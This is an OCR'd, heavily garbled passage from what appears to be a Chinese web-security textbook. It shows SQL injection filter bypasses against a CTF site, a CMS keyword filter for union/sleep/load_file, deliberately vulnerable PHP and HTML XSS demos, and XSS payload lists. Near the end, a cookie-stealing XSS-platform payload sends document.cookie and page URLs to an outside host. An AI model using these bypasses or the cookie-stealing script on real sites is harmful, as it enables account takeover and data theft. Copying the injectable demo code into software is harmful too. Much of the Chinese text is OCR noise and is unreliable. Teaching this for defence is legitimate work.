Accept: . Connection: keep-alive
text/html,application/xhtml+xml,application/xml;q=0.9,*/* Vary: Accept-Encoding
1q=0.8 X-Powered-By: PHP/5.6.30

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;g=0.3
Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

E4-68 iimElid=1 And 1=2f%R

ffForder byBEHFBEE, KIERHEEET, WE4-690TR, ERAHBK
KpFRNERESE, ZR R HorderiX NI, 4R AW Hordertf i Orderf5, T
HE/RESE, WHbyFERHER, WE4-70FR, RLETER, RIHEERS
FIEINF B

GET /sql/l.php?id=1+order+by+l HTTB/1.1

Host: ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X
10,12; rv:53.0) Gecko/20100101 Firefox/53.0

Content-Length: 27

3 <br>

HITP/1.1 200 OK

Server: nginx/1.8.1

Date: Sat, 02 Dec 2017 17:12:50 GMT
Content-Type: text/html; charset=UTF-8

Accept: Connection: keep-alive
text/html, application/xhtml+xml,application/xml;q=0.9,*/* Vary: Accept-Encoding
;g=0.8 X-Powered-By: PHP/5.6.30

Accept-Language: zh-CN,zh;g=0.8,en-UsS;q=0.5,en;g=0.3
Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

E4-69 order by#FE;

Content-Length: 8

| no hack!
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R

|| HTTP/1.1 200 OK

|l Server: nginx/1.8.1

Date: Sat, 02 Dec 2017 17:15:02 GMT
Content-Type: text/html; charset=UTF-8

GET /sql/l.php?id=1+Order+by+3 HTTP/1.1

Host: ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X
10.12; rv:53.0) Gecko/20100101 Firefox/53.0

Accept: | Connection: keep-alive
text/html,application/xhtml+xml, application/xml;q=0.9,*/* | Vary: Accept-Encoding
;q=0.8 || X-Powered-By: PHP/5.6.30

Accept-Language: zh-CN,zh;g=0.8,en-US;g=0.5,en;g=0.3
Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

|| Content-Length: 37

f admin : admin<br>

El4-70 Order by&#EH &

B, A Union 7L BULIRIEN, MR TIRE B w28, 2R A
BERNER TGS A

432 MNELIDFAN

MWE G EN IR HE: http:/ccctf.cn/sql/2.php?id=1 .

Pilalid=1', RILTEHHEMySQLE %, #EEVilid=1 and 1=1, THEKRIKHH
MySQLIJ441R, HEMEREEFTUEY, #MAMand 1=12/K T 1=1, WE4-71
Fi7so

GET /sql/2.php?id=l+and+1=1 HTTE/1.1

Host: ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X
10.12; rv:53.0) Gecko/20100101 Firefox/53.0

Accept:
text/html,application/xhtml+xml,application/xml;qg=0.9,+/*
31g=0.8

Accept-Language: zh-CN,zh;g=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Reguests: 1

Cache-Control: max-age=0

E4-71 XBFand#idig

F AT AR, SR Fand@ud i€ T . X 2R EHNE 7 R84E, fNanandd
1=1, Hand¥iTJE/5, ananddZEK Tand, A LLIXEHE AN B H) £and 1=1, 4
RnBE4-1207R, BIHPAT IR B IEH T

HTTP/1.1 200 OK

! server: nginx/1.8.1
Date: Sun, 03 Dec 2017 07:24:52 GMT

| Content-Type: text/html; charset=UTF-8
Connection: keep-alive

|| Vary: Accept-Encoding

| X-Powered-By: PHP/5.6.30

| Content-Length: 157

. Brror: You have an error in your SQL syntax; check the
manual that corresponds to your MySy erver version
| for the right syntax to use ne lt line 1

GET /sqgl/2.php?id=1l+anandd+1=1 HTTP/1.1 A | HTTP/1.1 200 OK

Host: ccctf.cn || Server: nginx/1.8.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X E Date: Sun, 03 Dec 2017 07:27:34 GMT
10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Content-Type: text/html; charset=UTF-8
Accept: | Connection: keep-alive
text/html,application/xhtml+xml, application/xml;g=0.9,*/* Vary: Accept-Encoding

;q=0.8 || X-Powered-By: PHP/5.6.30
Accept-Language: zh-CN,zh;g=0.8,en-US;g=0.5,en;q=0.3 | Content-Length: 47

Accept-Encoding: gzip, deflate

Connection: keep-alive admin : admin<br>

Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

E4-72 XEFanandd#iTEREERBIT
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BE, ¥iAaandnd 1=2, REEHEE R, A UEHSHFEESQLENRR. X435
Iflid=1 order by 38F, MySQLHI4HiR(5EA “der by 3”7, tE4-73F1xw, Frilix Bt
B A i S order BN BEE], T AT For, BRI R FBEEWN S orBI 7], 45 5841 &4-74F 7= .

GET /sql/2.php?id=l+order+by+3 HTTP/l.1 /a4 | HTTP/1.1 200 OK

Host: ccctf.cn (,1 Server: nginx/1.8.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X |l Date: sun, 03 Dec 2017 07:32:02 GMT

10.12; rv:iS53.0) Gecko/20100101 Firefox/53.0 | || content-Type: text/html; charset=UTF-8

Accept: ! connection: keep-alive

taxt/html application/xhtml+xml, application/xml;q=0.9,*%/* || vary: Accept-Encoding

3q=0 X-Powered-By: PHP/5.6.30

Accept Language: zh-CN,zh;g=0.8,en-US;g=0.5,en;q=0.3 { Content-Length: 162

Accept-Encoding: gzip, deflate {

Connection: keep-alive Brror: You have an error in your SQL syntax; check the
Upgrade-Insecure-Requests: 1 . manual that corresponds to your MySQL server version
Cache-Control: max-age=0 | || for the right syntax to use near 'der by 3' at line 1

E4-73 EET XHEFor

GET /sql/2.php?id=l+oorrder+by+3 HTTP/1.1 A || HTTP/1.1 200 OK

Host: coctf.cn P || Server: nginx/1.8.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X || Date: Sun, 03 Dec 2017 07:35:05 GMT
10.12; rv:53.0) Gecko/20100101 Firefox/53.0 . || Content-Type: text/html; charset=UTF-8
Accept: || Connection: keep-alive
text/html,application/xhtml+xml,application/xml;q=0.9,*/* | Vary: Accept-Encoding

;gq=0.8 || X-Powered-By: PHP/5.6.30
Accept-Language: zh-CN,zh;g=0.8,en-US;q=0.5,en;q=0.3 || Content-Length: 47

Accept-Encoding: gzip, deflate

Connection: keep-alive || admin : admin<br>
Upgrade-Insecure-Requests: 1 H

Cache-Control: max-age=0

m4-74 WSgFor
JE H BFEN S FE 5 UniondE A ) — 3.

433 RIBSEILFAN

DS I N RO k. http:/cectf.cn/sql/3.php?id=1.

Vi ialid=1'", K TER HMySQLAS %, #3& Vj [Flid= 1 and 1=1Flid=1 and 1=2K,
RIKEFandr=8 . ZIREAURLEmETRET 8. B TRESHE2EN
URLHHT—IKURLAAERG, FTUATE BB E A mEmk, XEFEERMMT £, URL
AL TIE A RID, AR T @ URLG D . WnE4-75F17, 48 Fandi#H 1T IKURL
4 U 5 45 R R %25%36%31%25%36%65%25%36%34 » 7 18] id=1%25%36%31%
25%36%65%25%36%34 1=1/f, T IRFESid=1MFRMER, wWE4-76FR, Vi
id=1 %25%36%31%25%36%65%25%36%34 1=28f, TR [E Sid=11EH4E R,
El4-77F7~, BT LAZ PR A 7E SQLIE N IR TR
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$61%6e%64

and

URLERS

HtmI16485% | HtmI16#253

'Wl%ewﬂ $25%36%31%25%36%65%25%36%34|

E4-75 FRURLEmREXEFand

GET /sql/3.php?id=1+%25%36%31%25836%65%25836%34+1=1
HTTP/1.1

Host: ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X
10.12; rv:53.0) Gecko/20100101 Firefox/53.0

| HTTP/1.1 200 OK

. Server: nginx/1.8.1

Date: Mon, 04 Dec 2017 05:21:32 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive

Accept: | vary: Accept-Encoding
text/html,application/xhtml+xml,application/xml;g=0.9,*/* | X-Powered-By: PHP/5.6.30
79=0.8

| Content-Length: 57
Accept-Language: zh-CN,zh;g=0.8,en-US;g=0.5,en;q=0.3 [
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

admin : admin<br>

E4-76 ifialid=1 and 1=1FH%R

GET /sql/3.php?id=1+%25%36%31825%36365%25%36834+1=2
HTTP/1.1

Host: ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X
10.12; rv:53.0) Gecko/20100101 Firefox/53.0

HTTP/1.1 200 OK

Server: nginx/1.8.1

Date: Mon, 04 Dec 2017 05:22:38 GMT

| Content-Type: text/html; charset=UTF-8
|| Connection: keep-alive

Accept: Vary: Accept-Encoding
text/html,application/xhtml+xml,application/xml;g=0.9,6*/* X-Powered-By: PHP/5.6.30
3q=0.8

|

1

;

| Content-Length: 47
Accept-Language: zh-CN,zh;g=0.8,en-U5;g=0.5,en;g=0.3
RAccept-Encoding: gzip, deflate 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

E4-77 ifjalid=1 and 1=2FH%R
JETHEFIENTFE S5UnionfE AR —2, R &AWL IR <8E, HEIPIKURL
A YRig RN,

1 <br>
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BRI i E N FIMR kit :  http://cectf.cn/sql/4.php?id=1.

[IRUNRY

Piilid=1", &I Tk HMySQLE] 1%, #2517 ilid= 1 and 1=1Fid=1 and 1=2k,
RILTIMHR7R “no hack”, BISCEEFH#48. S (EHNBERSHT . ABERIMH
KABENBMySQLEIHHR AR T . Viiaid=1 /*land*/ 1=18, THEE[E 5id=1
FFE RIS R Vi alid=1 /*land*/ 1=28F, TR [F 5id=1 AR R4 R, & 4-78F11&4-79

Fi7s o

GET /sql/4.php?id=1+/*land*/+1=1 HTTP/1l.1

Host: ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S8 X
10.12; rv:53.0) Gecko/20100101 Firefox/53.0

Accept:

text/html, application/xhtml+xml,application/xml;qg=0.9,*/%
3g=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;g=0.5,en;g=0.3
Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

E4-78 ifiElid=1 /*land*/ 1=1FTH4ER

T

| ®TTP/1.1 200 OK

Server: nginx/1.8.1
Date: Mon, 04 Dec 2017 06:24:21 GMT

|| Content-Type: text/html; charset=UTF-8

Connection: keep-alive
Vary: Accept-Encoding

|| X-Powered-By: PHP/5.6.30
|| content-Length: 37

;} admin : admin<br>

GET /sql/4.php?id=1+/*land*/+1=2 HTTP/1.1

Host: ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X
10.12; rv:53.0) Gecko/20100101 Firefox/53.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*
;g=0.8

Accept-Language: zh-CN,zh;qg=0.8,en-US;g=0.5,en;g=0.3
Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

E4-79 iElid=1 /*land*/ 1=26FH4LER
J& T BIEN S 72 5 UniondE A BT — 2.

435 SQLFEANBEEIN

HHBISQLIEARREE I ER W
1. DRERZFE

s S

HTTP/1.1 200 OK

|| server: nginx/1.8.1

Date: Mon, 04 Dec 2017 06:26:33 GMT

| Content-Type: text/html; charset=UTF-8

Connection: keep-alive
Vary: Accept-Encoding

| X-Powered-By: PHP/5.6.30

|| Content-Length: 27

1 <br>

ZHCMSH K I fa i 74 i 75 =, 4, SR A IE 2R I& K ILACunion. sleep.
load_file5F k8, WRILACE], NHBHEEF. FlungosecHIBTEANID, TR,
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functionCheckSql($db_string,$querytype="'select"')
{
global$cfg_cookie_encode;
$clean="";
$error="";
$o0ld_pos= ©;
$pos= -1;
$log file= DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
$userIP= GetIP();
$getUrl= GetCurUrl();
/7R BTG, BRI — SRR
if($querytype=="select')

{
$notallowl="["0-9a-z@\._-]{1, }(union|sleep|benchmark|load_file|outfile)[”@-9a-z@\
LY
//$notallow2 = "--|/\*";
if(preg_match("/".$notallowl."/i",$db_string))
{

fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
exit("<font size='5"' color="red'>Safe Alert: Request Error step
1 I</font>");
}
}
/ /5B SQL K
while(TRUE)
{
$pos=strpos($db_string,'\'"',$pos+ 1);
if($pos=== FALSE)
{
break;
}
$clean.=substr($db_string,$old_pos,$pos-$0ld_pos);
while(TRUE)
{
$posl=strpos($db_string,'\'',$pos+ 1);
$pos2=strpos($db_string, '\\',$pos+ 1);
if($posl=== FALSE)
{

break;
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elseif($pos2== FALSE ||$pos2>$posl)
{
$pos=$pos1;
break;
}
$pos=$pos2+ 1;
}
$clean.="$s$';
$old_pos=$pos+ 1;
}
$clean.=substr($db_string,$old_pos);
$clean= trim(strtolower(preg_replace(array('~\s+~s'),array(' '),$clean)));
//ZRRA K MySQL ANSCHF Union, #FRIFRF B AEH Union, ER—SBEMHAE, L
EREE

if(strpos($clean, 'union') !== FALSE &&
preg_match('~(*|[*a-z])union($|[~[a-z])~s"',$clean) != @)
{

$fail= TRUE;
$error="union detect";

}
/] BARIRARTEF AT AE JLEAEEE “--7 “#” ZRERNER, HRERLFFEHEN
elseif(strpos($clean,'/*') > 2 ||strpos($clean,'--"') !== FALSE
| |strpos($clean, '#') !== FALSE)
{
$fail= TRUE;
$error="comment detect";
}
[/EEREASWEA, ERREESHTERBEM, down HEHEAE
elseif(strpos($clean, 'sleep') !== FALSE &&
preg_match('~(~|[*a-z])sleep($|[~[a-z])~s",$clean) != @)
{
$fail= TRUE;
$error="slown down detect";
}
elseif(strpos($clean, 'benchmark') !== FALSE &&
preg_match('~(”|[*a-z])benchmark($|[~[a-z])~s",$clean) != @)
{

$fail= TRUE;
$error="slown down detect";
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elseif(strpos($clean, 'load_file') !== FALSE &&
preg_match('~("|[*a-z])load_file($|[~[a-z])~s',$clean) != @)
{

$fail= TRUE;
$error="file fun detect";

)

elseif(strpos($clean, 'into outfile') !== FALSE &&
preg_match('~(~|[*a-z])into\s+outfile($|[~[a-z])~s',$clean) != @)

{

$fail= TRUE;
$error="file fun detect";
}
[/ERAE MySQL A HTF A, BRANWEF Rt AED, (B BER LMEH e EHEEE
FERUREE
elseif(preg_match('~\([")]*?select~s',$clean) != @)
{
$fail= TRUE;
$error="sub select detect";
¥
if(lempty($fail))
{

fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
exit("<font size='5"' color='red'>Safe Alert: Request Error step
21</font>");

}
else
{
return$db_string;
}
¥
fERS R TR, E— R L] LB (ESQLIENIRIR, (B3R AE St it AT
ﬁEO

2. EAWRIFED

HLfEAPDOT X ER), FMEERHRZ, NEKHEREEEHEIPDOEAF,
T ARAEF o L AT HEAT R R g i MRk B2 &l
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4.4 XSS E#H

4.4.1 XSS RENSE

B Ui JIA (Cross-Site Scripting, #FR AXSSEREE ik Il A< B4 5 vk I A T o ) /& —Ff
Bt Pt B R P I R a2 TRIE SR, 2REEAN—F. EREEEH AR
PR NN T, Atk P P2 7 ) B D) T g 2 52 B2 o % 5 F P R P XS SARRS Bk i Th
J5, FREERIREMAIR (T —28/E), RENTHE. 21ffcookieds & Fh
M2

XSSHH AT LI A=H: RAE, FHEFDOMEL,
4.4.2 XSS wiFRE

1. RETEY XSS

S RIXSS NARAEFF ARIXSS, X Fhsds F R EE — Rt

Yoahih e B i@ B MR 25 05 20K B & XSSARAD (3% B B K % 45 B v
Fo MBRHPUIRNZEEEER, RS AREEGZ B AR P RE SRR HEAT A0, ARG AR
240 A XSS IR KX 4 H AR P HOD B 8%, WIS 38 M b iX B A XSSARHS
FIERMA S, #efl kXSS .

2. ZfiEB XSS

TFAERIXSS NFRFFATIXSS, Ui JH Ak 47 7k A HWAF UEE B Fr AR 55 2% 1O B0hE FE 51
XHF, BEAERERIRR#RME.

Wi ZMBEEHEZ A TRIE. MEAEER, WEEERMPERES, &
EEMAERIEEEE —BEANTFHIANEY. FBEEMN FHRSSZEME TR, BE
JIAS A 7k A B4 A7 TR IR &5 A B SR i AF i an P o AR PSR AN IEAN T ER
JEVAS s 7, R A S TEARAT TR ) BE 2 R AR B BAT

Bln, WEBEHEEESRFIMALTRE.

<script>alert(/hacker by hacker/)</script>)
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HHEMA SV E SR, EFE-AEE. TUED], FERXSSHKEHTT
AR R EACRD A AN — D TUHE T U5 173X A4S T #F 7 #RR o 2 F
Fo MRBANIREGIEEN A REERE, BARMNEXSSHETHEHLKIEN, T
RIXSSMAR, BT EFEAE - LEHIMEEMTE, FHHLRENTZ 2/ 0, HES
=B B

3. DOM & XSS

DOM#4:FrDocument Object Model, 1§ FIDOM ] DAA# 2 ¢ A1 B A RE 05 30 2535 ) A
EH RN iR,

DOMZYXSSH, 51 & — Fhi Pk 2K Y (1 [ S B4 XSS, B2 ZE T DOMIIAY S SAR AL
— PRI .

HTML PR ER R T A, X L5 A4 R T DOMKI B AR 45— Ad . @it
HTML DOM, # [ FTAg ¥ s 48 7 i i JavaScriptidE 4715 A« FIAHTMLIGE (5 5)
BRT s, AT LI S BR T A . HTML DOMMY 45 #4 4 B 4-80FT7R

I
RTR
<htmi>
|
| |
TR TF:
<head> <body>
| I
[ ]
b B | TE: T
<title> href <a> <hl>
xR A A
o= “HAORER" AR

E4-80 HTML DOM#

FEMETUE R LR, 20U BEN WA, X a2 8 e g — AN T
2% f'IDocument object CRYXT R, BEFE RS NTF XX R, BANRE TR M —A3C
R B, B SCRSR S TR 7RI o T LTSI SRt 5 47 4,
MBS R TCER . WELR YL, 27 i i A AR 7 7T LU DOMB) A& 2 U
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&, NWE P uisRENDOM F R H7E A HIAT . - FDOMARTER P i A& o519 /1,
Fr AL TDOMA X SSIRIAA T B 5 MRS A H, B R KEER F i B A 1
e

B APER—NETETRITWURL, BEREEERS, mMARFE
BXSSAAD . AR S5 2% BN AN S AR T A& B & AR . 2 P B3 S 28 Ak 3
XA RE, DOMX RS A EXSSRAY, FEAFAEXSSIFI .

443 K&FE XSS HWEH

T Hihttp://192.168.1.101/xss/xss1.php SEELHI ThRERTE “BN” REFEANE,
B “RA” A, BRMARASRE e REd, flnsimA ‘117, B
“RRAZ AR, 117 MBEH B it RES, BERWE4-81FR.
B0 E D cssumemmnnares < (0

<« C  ® 192.168.1.101/xss/xss1.php?xss_input_value=11

ESNVANTHE Qi Sinput@iivelueRizE
MR\ GERRNTRHS

B|A
%

E4-81 WMASEHMEEITTE

249 1] http://192.168.1.101/xss/xss1.php?xss_input_value="><img src=1 onerror=
alert(/xss/) />, it 2| 7T KT HTML A S A2 y<input type="text" value=""> <img src=1
onerror=alert(/xss/) />">, FILAFEE|, BRG] S HE T valueBHERXG S, A
K1>H4& T inputhr & <, FEUEHIAKI<img src=1 onerror= alert(/xss/) />Z2 % T HTML
PR, WnE4-82F 7R .
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! <html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<title>xssFIRMHMNFIIRINERBE</title>
</head>
<body>
<center>
<h6>EBRINVBANFRR Bt input EfvalueBiEE</h6>
<form action="" method="get">
<h6>THIBANRBRMOFRB</h6>
<input type="text" name="xss_input_value" value="if§\"><br />
<input type="submit">
</form>
<hr>
<input type="text" value=" img src=1 onerror=alert(/xss/) />"> /center>
</body>
</html>

E4-82 HMIAXSSKEE

BTk, TENAE YR, 4T T <img sre=1 onerror=alert(/xss/) />, JSii¥alert()
SR AR IE, BIR “/xss/”, WE4-83FTR.

El4-83 HISTREHITTXSSKIB

444 RETEI XSS REL AT

FE R RUXSS PHPA G H, 8 it GETHRE S $ixss_input_valuefI{H , 4R /5 @it echo
B — N inputhr4E, FKixss_input_value 1B BN inputhr 25 fivalue o 2435 [ xss_
input_value="><img src=1 onerror=alert(/xss/) />, it 2| 7T FHTMLACAG 25 K
<input type="text" value=""><img src=1 onerror=alert(/xss/) />">, WEHTMLACIZH %
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MRZ, <input>FR2E Fl<img>FRES , T <img>FrR2s B 1R F 52 1E ) UE 28 B AE 5 7R /xss/ 7,
KRBT RN

<html>
<head>

<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<title>XSs F| i MH B HE A</ title>

</head>
<body>
<center>
<h6>TEFRA TN B 775 S5 HH B input B value BHEH</he>
<form action="" method="get">
<h6>EH AR RILM F/F 8 </h6>
<input type="text" name="xss_input_value" value="#HIA"><br />
<input type="submit">
</form>
<hr>
<?php
if (isset($_GET[ 'xss_input_value'])) {
echo '<input type="text" value="'.$_GET['xss_input_value'].'">";
}else{
echo '<input type="text" value="#ii">";
}
?>
</center>
</body>
</html>

445 fEFEE XSS HEH

A RIXSSTUI LB DR 2 KA MANESEL . ENNE, RER
*T@*DW@TE)\?U%HEE'# TR B R S5 SR B L, nE4-84F77R

BARBRE

E4-84 MANESER
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Y PERBLAB AL, ABRAAB N2, R EF R EUE nE4-85FT 7R .

+ M =% DT, R -] & MW =
E4-85 REBSESIHRIBE

L8 NAR A A <img sre=X onerror=alert(/xss/) />, #R J& ¥ Fr a2 DT, T
AT T <img src=1 onerror=alert(/xss/) />, SEHHE O . A, XEMXSSEFAN
fy, R, (B AV RFZURLEE2#H— N ER “/xss/” HIFE, wnEl4-86fT
No

E4-86 7Ffi#BIXSS

4.4.6 fEFE XSS RELHHT

R XSSHIPHPA RS 1, 3REXPOSTZ $titleF15 Hcontent, R/ SEIEN
HHE FE XSS, 3R kil it select B K R XSS A B HE & ) i ok, HE B T L,

RS T Frs .
<html>
<head>

<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
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b

<title>B Fi</title>
</head>
<body>
<center>
<h6>HINE 5 M </h6>
<form action="" method="post">
Fril: <input type="text" name="title"><br />
H%5: <textarea name="content"></textarea><br />
<input type="submit">
</form>
<hr>
<?php
$con=mysqli_connect("localhost","root","123456","test");
if (mysqli_connect_errno())
{
echo "ERKM: " . mysqli_connect_error();
}
if (isset($_POST['title'])) {
$resultl = mysqli_query($con,"insert into xss( title”, “content’)
VALUES ('".$_POST['title']."',"'".$_POST['content']."")");
}
$result2 = mysqli_query($con,"select * from xss");
echo "<table border='1'><tr><td>Frili</td><td> N </td></tr>";
while($row = mysqli_fetch_array($result2))
{
echo "<tr><td>".$row[ 'title'] . "</td><td>" .
$row[ 'content’]."</td>";
}
echo "</table>";
?>
</center>
</body>
</html>

2 P ERR AL B N<img src=1 onerror=alert(/xss/) />, FdE EE o i EE o B
4-87F1 7 o

| id title content

1 E <img src=1 onerror=alert(/xss/) /> 11

E4-87 TFHEEISIREPRIXSSHKES
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2 titledhn 2 TUHE A, TUHE AT T <img sre=1 onerror=alert(/xss/) />, SEHH .
4.4.7 DOM % XSS i

DOMZIXSSH it H LMK IRERTE “HN” IEFHMAER, Bl “Bi” %
H, WHESY “XESERMANAE” BRNEAKNEE, FlinXmA “117
FIRE, TUK “XESERMAPNNE” N “117, wE4-88F1E4-89F17R .

[FEEEFEARAE |

N |
i

[E4-88 HTMLIE

1
1
Big
E4-89 HikIhae
L% A\<img src=1 onerror=alert(/xsss/) />Bf, By “Hik” %4, THEHHEHHEE

HE, GnEl4-90Ff 7.

http://127.0.0.1/xss3.php

[ Enable Post data  [] Enable Referrer

#4-90 DOM XSS
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MHTMLIES F 7] LAE ), FEETS Bk Fitihuan(), 1% B8 $U0 1 FH 2@ i DOM R4
¥oogKidl Gt E) MRS BECNTERdom input GIAME) IR, wE4-91
Fi7m e

<html>
<head>
<{meta http-equiv="Content-Type” content="text/html;charset=utf-8” />
(titledTest{/title>
{seript type="text/javascript”>
function tihuan() {
document. getElementById("id1”). innerHTML = document. getElementById("dom_input”). value;
}

{/script>
</head>
<{body>
{center>
<h6 id="1d1">iX 'R 2 B A A A</ h6>
{form action="" method="post”>
{input type="text” id="dom_input” value="ffi\"><br />
{input type="button” value="{#{{:" onclick="tihuan()">
{/form>
<hr>

</center>
</body>
</html>

E4-91 HTMLIRHS

4.4.8 DOM B XSS AL 447

DOMXSSTEF R EHTMLAHE, HAGFERS S miiE, FrUABEFIFESE
SR smitir R H, RS FR.

<html>

<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<title>Test</title>

<script type="text/javascript">
function tihuan(){
document.getElementById("id1").innerHTML =
document.getElementById("dom_input").value;
}
</script>
</head>
<body>
<center>
<h6 id="id1">iXH & BRI N E</h6>
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<form action="" method="post">
<input type="text" id="dom_input" value="#iA\"><br />
<input type="button" value="##t" onclick="tihuan()">
</form>
<hr>

</center>
</body>
</html>

M B IR 2P AT JavaScriptftihuan()BR %Y, Titihuan() R %2 —/1~"DOM
#:1E, 1@iddocument.getElementByldZREUID Aidl (977 s, AASEHE 1 Aid1 A &
fidNdom input/ [I{E, BN FPHIARIME. 24%i1A<img src=1 onerror=alert(/xsss/) />
i, B B M, TEHKEEE, EHTREmHKN, FUEEFER
HaEs, FAZH XSS,

4.5 XSS HtEh

4.5.1 XSS & AiE0) K RmiLseid
XSSH HBMRIEA)H -

®  <script>alert(1)</script>
®  <img src=x onerror=alert(1) >
®  <svgonload=alert(1) >

®  <a hrefsjavascript:alert(1) >
JLHIXSSHI Geid i B ISHwhS. HTMLSE /A 4mAS FIURLYwAS .

1. JS w5
JSTRAL T DUFp R bs ISR RE, W FFm.
o EAHHIS T, MBENMEAE, ERTEINO, Flin “e” MDA “\145”7 .
o BTN EHGIET, MBEANEAE, ERTTEEN, B0 “e” K4S A “\x65”
o PUASFNEHERIECT, WERANECNE, FERTTHAMO, B0 e "B 4R A5 A \u0065 7
o XfT LBt ER, FRRREICEB R XXM (Flamnfiv) .
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2. HTML Z{K4mt3

Sk BL&ITk, L SERER, flin “<” KmEE “&lt”,

FRgID: Rl o B ASCIRS Bl Unicode F 4w A%, FERA “ &#EUE;” ,
filtn “<” W LIRS “&#060;” F “&#x3c;”.
3. URL %3

XEMURLE, WEWKURLEHRIEHKE R, W Ralerti g, &R
H%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34 .

FEAE FIXSSHRIGIIARS, FEEEHTMLIERIINFE, KAl 24X L MmiLEE
i, BEEFEERNMRETT EATIR.

45.2 {£H XSS E&MiK XSS IwifE

AP 2T PR A A EXSSTF &, AT/ H R an ] fF XSS & WK
XSS

HGTEXSS FEEMK I ER, Bd “RMIE” 1y “GI8” &4, mE4-92
Fi7s o

Bayma B

\mam HEMS AER oEME W

REGEER

DHBR

JavaseriptGCFaol

E4-92 XSSEEER

T AR R BARAE IR R 42K 0, MERIESEIT . Ak “BOAER” ETE #d
“FT—7 4, WE4-93FR.
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nEER

11

REAHRIR e o T RRABUR

*  apache httponly bypass ' 5

11 - [HREID:3670]

o 7 xssjs T
Atk *  AJAX POST/GETHRfE 7%

o T BREUEN® FOF

o o -Jsonpit THUR-
* 7 HTMLSHR /i

B
o O DGR RS EN SR 1

XssEH R (NS o 7 RIRDIT0MES 16

* © CSRF#{FRedis® X 7

* [ xss+csrf+redis H R AR 15
o BRREDARIpIIAREredis 1

o O MBEH 0

¢ 7 JetBrains idetE B RER 147

o 7 JetBrainsiBRASMT 97

apache o BIRARIp W5
o * postiUETTIMBRM N
o EiRfxss W

E4-93 XSS

Wil ERoR T 2 MFI AR, ELRRERT, — RS RIEHTMLIEEE S E R
A RS, LG 3] A8 RE BT BOACRS, IX IR — MR AR, aniE4-94
B

BREA e MBRH

mER#K: 11

HERS:

(function(){(new Image()).src="", .. Shes mas..1os10 JJou™= mel. .1, )&location="+escape((func
tion(){try{return document.location.href}catch(e){return ''}})(}))+'&toplocation="+escape((function
() {try{return top.location.href}catch(e){return '*}})())+"&cookie="+escape( (function{){try{return
document. cookie}catch(e){return '‘}})())+'Sopener="+escape((function(){try{return (window.opener &
A & window. opener. location. href)2window. opener. location.hraf: * ‘Jcatch(e) {return *'3})1()); 1 ();

AR Af(*'==1) {keep=new Image();keep.src="ht @ Suiselilevsvd "ma e’ Jemsion i hadd-l-turl="+esc
ape(document. location) +'&cookie="+escape(document. cookie)};

</tEXtArEa>'"><sCRIPt SRC=Nttp://Xss.*w M. r Vi .. 0></sCripT>

</tEXtArEa>'"><img src=# id=xssyou style=display:none onerror=eva’ cr
28%225¢rip PAIMZFA s Tadh bkt 1D DR22528Math, randomi28%2
fANRERNNR El "agh A7C body%29. appendChilds28bs
29438/.source) ); //>
s attack
WRAUMEFRRO BN

apache h

http:// Lk amnL

El4-94 XSSFAWFAHBEHNEG



KA SR A BIFEXSSIR A AIURL G, BEEIRARD . KIN 583 BT AT

AR Rl A& g 5 A

XSSHIF| RS, E4-958T 7R

72.16.200,

st

| <html>
! <head>

F4%F WebZAREHI <

<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<title>XSSHIMMILMNITIESRIBERB</title>

</head>
<body>
<center>

<h6>EENBANFHS BB input BfvalueBitE</h6>

<form action="" method="get">
<h6>THRA B RANFHFB</n6>
<input type="text" name="xss_input_value" value="$§A\"><br />
<input type="submit">

</form>
<hr>

<input type="text" value="</tExtArEa>'"><sCRiPt sRC=http://xss.’'m’ k.m +"& ©</sCripm>">

</body>
</html>

E4-95 BirRFPEREEEE

BI2XSSF &, ATUEREMNCELKM TFEE, HPaERkiFEIL. cookie. IP,
WEERSE, WRAPATERRS, T1EScookieFHENZM KK, WE4-96/7

Ro
HE &R 11

Domain: £#8 e HATERREERNNS

+EH R
G 2017-12-01 .
01:28:37

BERNORE

location : http://127.0.0.1/xs
s1.php?xss_input_value=%
3C%2FtEXtArEa%3E%27%
22%3E%3CsCRIiPt SRC%3
Dhttp%3A%2F%2Fx1 1 B
ot o T ITE 0 o
T e TG

toplocation : http://127.0.0.1
/xss1.php?xss_input_value=
%3C%2FtEXtArEa%3E %27
%22%3E%3CsCRiPt SRC%
